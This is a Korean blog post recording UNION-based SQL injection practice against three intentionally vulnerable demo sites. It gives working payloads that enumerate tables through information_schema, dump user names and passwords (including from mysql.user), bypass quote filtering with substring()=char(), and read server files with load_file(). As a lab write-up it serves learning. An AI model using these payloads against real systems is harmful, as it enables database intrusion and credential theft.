Self-Improvement

UNION SQLi 실습(substring()=char(), load_file()) 본문

SQLi

UNION SQLi 실습(substring()=char(), load_file())

JoGeun 2020. 4. 14. 18:01

UNION SQLi는 포스터형식으로 몇개의 정보들을 출력해주는 곳에서 가능하다.

ex) 포스터, 검색 등

단 하나의 정보만 보여주는 곳에서는 불가능

1. testphp.vulnweb.com

Categories의 Posters에서 Union SQLi가 가능하다.

싱글쿼터를 주입할 시 sysntax 에러가 발생한다.

order by 문을 이용하여 칼럼의 갯수를 구하며 11까지는 오류가 없었으며 12에서 오류가 발생한다

'cat=1 order by 11'

 

에러에서 MySQL임을 확인하였기에 null 대신 숫자를 대입하여 노출되는 칼럼의 위치를 확인한다. 이때는 Union Select 문을 사용한다.

cat=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11

 

 

2, 7, 9, 11칼럼이 노출되며 이 중에서 2번칼럼을 대상으로 테이블 정보, 칼럼 정보를 추출한다. 이때 information_schema를 사용한다. 테이블 출력할시에는 where절을 이용하여 'base table'만 출력한다.

cat=1 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11 from information_schema.tables where table_type='base table'

 

 

users의 테이블의 칼럼 정보를 추출한다.

cat=1 and 1=2 union select 1,column_name,3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'

 

마지막으로 uname과 pass의 정보를 확인한다.

cat=1 and 1=2 union select 1,concat(uname,',',pass),3,4,5,6,7,8,9,10,11 from users

 

2. http://testasp.vulnweb.com/

search에서 Union select 공격이 가능하다.

미리 소스코드를 확인하여 1"')>0)-- 으로 공격이 가능하다

tfSearch=1"')>0)+order+by+10-- 하여 칼럼의 갯수는 10개로 확인할 수 있다.

 

에러 형식도 출력되지 않아 데이터베이스 타입을 알 수 없음으로 union select 문에서 null로 10개채워 오류가 안나고 정상적으로 출력되는지 확인한다.

tfSearch=1"')>0) union select null,null,null,null,null,null,null,null,null,null --

null 대신 1~10을 대입해본다.

tfSearch=1"')>0) union select 1,2,3,4,5,6,7,8,9,10--'

 

여기서는 3번째 칼럼으로 테이블, 칼럼, 정보까지 추출해본다.

tfSearch=1"')>0) union select 1,2,table_name,4,5,6,7,8,9,10 from information_schema.tables where table_type='base table'--

tfSearch=1"')>0) union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name='users'--

 

uname, upass을 추출해본다.

tfSearch=1"')>0) union select 1,2,concat(uname,',',upass),4,5,6,7,8,9,10 from users--

 

3. http://php.testsparker.com/

search 부분에서 Union SQLi가 가능하다.

해당 search 부분에서는 숫자형 타입이며 1 or 1=1을 주입할 시 데이터가 출력된다.

id=1 or 1=1 order by 1

order by문으로 칼럼의 갯수를 확인할려는 과정에서 다시 전의 출력결과물이 나오지 않은것으로 보아 쿼리문에서 오류가 난 것같다. order by가 필터링이 걸려있거나 형식이 잘못된 것이다.

다시 처음으로 돌아가서 1 or 1=1#으로 해서 뒤에 형식을 제거해보았다.

 

id=1+or+1=1%23

 

%23인 #을 추가하였지만 역시나 오류가 발생하여서 ')'을 넣어서 시도해보았다.

id=1+or+1=1))%23

 

이어서 order by을 진행해준다. 5개의 칼럼이 존재하는것으로 보인다.

id=1+or+1=1))%20order%20by%205%23

 

union select의 null을 추가하여서 확인해서 정상적으로 출력되면 숫자를 1~5 주입해서 각 칼럼의 위치를 확인한다.

 

3번째 칼럼 위치에서 유저 정보와 테이블, 칼럼의 정보를 얻어준다.

id=1+and+1=2))%20union%20select%201,2,user(),4,5%20%23

 

'base table'만 출력해주기 위해 table_type='base table'을 주입하였지만 정상적으로 출력이 안된 것으로 보아 처음 사용된 싱글쿼터를 필터링 하고 있을 확률이 높다. 

 

다른 형식으로 substring 함수를 사용하여 질의를 해준다.

id=1+and+1=2))%20union%20select%201,2,table_name,4,5%20from%20information_schema.tables%20where%20substring(table_type,1,4)=char(66,65,83,69)%23

 

 

user 테이블의 칼럼정보와 데이터를 추출해본다.

id=1+and+1=2))%20union%20select%201,2,column_name,4,5%20from%20information_schema.columns%20where%20substring(table_name,1,4)=char(117,115,101,114)%23

 

User, Password의 데이터를 추출하기 위해 시도하였지만 반환되는 값이 존재하지 않는다.

id=1+and+1=2))%20union%20select%201,2,User,Password,5%20from%20user%23

 

위에서 유저 정보를 확인했을시에 root인것으로 보아 mysql.user()로 질의해본다.

id=1+and+1=2))%20union%20select%201,2,User,Password,5%20from%20mysql.user%23

 

 

자세하게 알기 위해 각 테이블 소유자를 질의해본다.

id=1+and+1=2))%20union%20select%201,table_schema,table_name,4,5%20from%20information_schema.tables%20where%20substring(table_type,1,1)=char(66)%23

 

 

user 테이블은 mysql 소유자로 되어있는것을 확인할 수 있다.

더 나아가 전에 보왔던 에러 페이지에서 경로에 존재하는 파일을 출력해본다.

 

id=1+and+1=2))%20union%20select%201,2,load_file(0x433a5c417070536572765c7777775c68656c6c6f2e706870),4,5%23